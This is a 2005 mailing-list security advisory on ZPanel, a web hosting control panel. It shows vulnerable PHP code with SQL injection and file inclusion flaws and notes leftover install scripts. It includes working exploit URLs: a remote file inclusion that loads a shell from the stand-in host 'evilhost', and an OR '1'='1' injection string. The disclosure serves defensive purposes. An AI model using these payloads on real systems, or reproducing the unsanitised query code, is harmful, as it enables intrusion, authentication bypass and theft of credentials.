Few remote bugs in zPanel

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Hello,

Few bugs have been discovered (accidently) in zPanel.
Developers were notified on 07.March but I have not received any response.


Best regards,				Mikhail.
-------------------------------------------------------------

[Product Description]
"ZPanel is a hosting control interface developed for both Windows and Linux hosts.
We will soon be developing two different distributions to fit the needs of both
platforms."
Tested:
ZPanel has been tested on the following server operating systems:
Windows Linux
2000 Advanced Server Fedora 2
2000 Server FreeBSD 4.9, 5.2.1
2003 Enterprise Server Mandrake 9.1, 9.2
XP RedHat 7.3, 9


Versions:
Stable - ZPanel v2.0
Latest Beta - ZPanel v2.5b10

[Summary]
Successful exploitation of an input validation vulnerability in ZPanel scripts
allows attackers to execute SQL commands, include remote and local files,
get sensetive information.


[Details]
[1] SQL injection #1

Vulnarable script: index.php
Vulnerable code:
--[code]--
if (isset($_POST['uname'])) {

mysql_select_db($database_Customer_Database, $Customer_Database);
$query_TempUser = sprintf("SELECT * FROM custumerbase WHERE servicename = '".$_POST['uname']."'");
--[/code]--


Not sanitizing userinput variable outbounds directly into SQL query.
It is possible to inject arbitrary SQL statements through 'uname' variable and bypass the authentification.


In case of invalid user name or password user can see which parameter is wrong.
As result:
SQL onechar bruteforce technique allows to get sensitive information
(such as nonencrypted passwords in ZPanel v.2, and md5 hashes in ZPanel v.<=2.5 beta 10).


[2] SQL injection #2 and file inclusion

Vulnerable script: zpanel.php
Vulnerable code:
--[code v.2.5 beta]--
if (isset($_GET['page']) && $_GET['page'] != 'main') {
$query_Modules = sprintf("SELECT * FROM modules WHERE name = '".$_GET['page']."'");
$Modules = mysql_query($query_Modules, $Customer_Database) or die(mysql_error());
$row_Modules = mysql_fetch_assoc($Modules);
[...]
if ($row_Modules['active'] == '1') {
$body = "modules/" . $_GET['page'] . "/index.php";
--[/code]--


or

--[code v.2.0]--
if (!isset($_GET['page'])){
        $body = "main.php";
}else{
        $body = $_GET['page'] . ".php";
}
--[/code]--

It is possible to include arbitrary file:
local - in version ZPanel <= 2.5 beta 10,
remote - in ZPanel 2.0.

[exploit for v 2.0]
http://localhost/zpanel/zpanel.php?page=http://evilhost/shell
where http://evilhost/shell.php - evil php code script

[exploit for v 2.5 beta]
http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00'%20OR%20'1'='1

Path disclosing avaliable in case of unsuccessfull exploitation of this bug.

[3] Installation
By default, installation scripts are not taken away after installation.

http://localhost/ZPanel/admin/install.php

[4] Old scripts
ZPanel uses old buggy scripts. For example
phpBB Forums 2.0.8a.


[DISCLOSURE TIMELINE]

10-03-2005  Initial vendor notification.

[CREDITS & GREETS]
Goes to GHC & specially to Foster

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux